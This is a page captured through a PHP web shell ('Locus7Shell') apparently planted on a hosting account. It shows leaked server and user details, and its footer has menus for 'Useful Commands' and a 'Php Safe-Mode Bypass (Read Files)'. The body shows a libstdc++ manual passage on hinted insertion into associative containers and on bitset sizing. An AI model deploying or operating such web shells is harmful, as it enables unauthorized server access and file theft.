![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type: Section [23.1.2], Table 69, of the C++ standard lists this function for all of the associative containers (map, set, etc): a.insert(p,t);
where 'p' is an iterator into the container 'a', and 't' is the
item to insert. The standard says that “ Here we'll describe how the hinting works in the libstdc++ implementation, and what you need to do in order to take advantage of it. (Insertions can change from logarithmic complexity to amortized constant time, if the hint is properly used.) Also, since the current implementation is based on the SGI STL one, these points may hold true for other library implementations also, since the HP/SGI code is used in a lot of places. In the following text, the phrases greater than and less than refer to the results of the strict weak ordering imposed on the container by its comparison object, which defaults to (basically) “<”. Using those phrases is semantically sloppy, but I didn't want to get bogged down in syntax. I assume that if you are intelligent enough to use your own comparison objects, you are also intelligent enough to assign “greater” and “lesser” their new meanings in the next paragraph. *grin*
If the
For
If the conditions are not met, then the hint is not used, and the
insertion proceeds as if you had called
This behavior goes well with other containers'
Note also that the hint in this implementation is a one-shot. The older insertion-with-hint routines check the immediately surrounding entries to ensure that the new item would in fact belong there. If the hint does not point to the correct place, then no further local searching is done; the search begins from scratch in logarithmic time. No, you cannot write code of the form #include <bitset> void foo (size_t n) { std::bitset<n> bits; .... }
because There are a couple of ways to handle this kind of thing. Please consider all of them before passing judgement. They include, in no particular order:
A very large N in
You can then keep track of the “maximum bit used” during some testing runs on representative data, make note of how many of those bits really need to be there, and then reduce N to a smaller number. Leave some extra space, of course. (If you plan to write code like the incorrect example above, where the bitset is a local variable, then you may have to talk your compiler into allowing that much stack space; there may be zero space overhead, but it's all allocated inside the object.)
A container<bool>. The
Committee made provision for the space savings possible with that
(N/8) usage previously mentioned, so that you don't have to do
wasteful things like
The problem is that
Extremely weird solutions. If
you have access to the compiler and linker at runtime, you can do
something insane, like figuring out just how many bits you need,
then writing a temporary source code file. That file contains an
instantiation of This would be the approach of either a visionary genius or a raving lunatic, depending on your programming and management style. Probably the latter. Which of the above techniques you use, if any, are up to you and your intended application. Some time/space profiling is indicated if it really matters (don't just guess). And, if you manage to do anything along the lines of the third category, the author would love to hear from you... Also note that the implementation of bitset used in libstdc++ has some extensions.
Bitmasks do not take char* nor const char* arguments in their constructors. This is something of an accident, but you can read about the problem: follow the library's “Links” from the homepage, and from the C++ information “defect reflector” link, select the library issues list. Issue number 116 describes the problem. For now you can simply make a temporary string object using the constructor expression: std::bitset<5> b ( std::string("10110") ); instead of std::bitset<5> b ( "10110" ); // invalid |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]-- |